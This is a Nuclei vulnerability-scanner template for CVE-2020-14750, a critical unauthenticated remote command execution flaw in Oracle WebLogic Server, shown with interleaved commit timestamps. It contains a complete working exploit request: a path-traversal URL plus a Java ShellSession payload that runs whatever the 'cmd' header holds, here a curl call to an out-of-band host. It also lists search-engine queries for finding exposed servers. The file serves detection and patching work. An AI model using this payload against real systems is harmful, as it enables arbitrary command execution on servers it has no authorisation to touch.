nuclei-templates/http/cves/2020/CVE-2020-14750.yaml

84 lines
4.0 KiB
YAML
Raw Normal View History

2021-04-23 12:39:54 +00:00
id: CVE-2020-14750
2022-08-03 07:34:26 +00:00
2021-04-23 12:39:54 +00:00
info:
name: Oracle WebLogic Server - Remote Command Execution
2022-08-03 07:34:26 +00:00
author: princechaddha,DhiyaneshDk
severity: critical
2021-04-23 12:39:54 +00:00
description: |
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
2023-09-06 12:22:36 +00:00
remediation: |
Apply the latest security patches provided by Oracle to mitigate this vulnerability.
2022-08-03 07:34:26 +00:00
reference:
2022-08-04 14:43:23 +00:00
- https://github.com/pprietosanchez/CVE-2020-14750
2022-08-04 01:53:35 +00:00
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
2022-08-03 07:34:26 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
- https://nvd.nist.gov/vuln/detail/CVE-2020-14750
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-14750
2024-05-31 19:23:20 +00:00
epss-score: 0.97546
epss-percentile: 0.99996
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*
2022-08-03 07:34:26 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:22:36 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: oracle
product: fusion_middleware
shodan-query:
- http.html:"Weblogic Application Server"
- http.title:"weblogic"
- http.html:"weblogic application server"
fofa-query:
- title="weblogic"
- body="weblogic application server"
2024-05-31 19:23:20 +00:00
google-query: intitle:"weblogic"
2024-01-14 09:21:50 +00:00
tags: cve2020,cve,rce,oracle,weblogic,unauth,kev,packetstorm
2021-04-23 12:39:54 +00:00
http:
2022-08-03 07:34:26 +00:00
- raw:
- |
2022-08-03 07:56:21 +00:00
@timeout: 10s
2022-08-03 07:34:26 +00:00
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
Accept: */*
cmd: curl {{interactsh-url}}
Content-Type: application/x-www-form-urlencoded
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
2021-04-23 12:39:54 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: interactsh_protocol # Confirms DNS Interaction
2021-04-23 12:39:54 +00:00
words:
2022-08-03 07:34:26 +00:00
- "dns"
2022-08-04 14:43:23 +00:00
- type: word
part: header
words:
- "ADMINCONSOLESESSION="
- type: regex
part: body
regex:
- '<html><head></head><body>(.*)</body></html>'
# digest: 4a0a00473045022038ae39ec17351cd61ce642932f11e58b2f3e12a42fd0f1fe0fd266290491c272022100e0af18a7f821b0f6f5ceedf3def017277a60c9a4d28b11236d80fb01a5132dd4:922c64590222798bb761d5b6d8e72950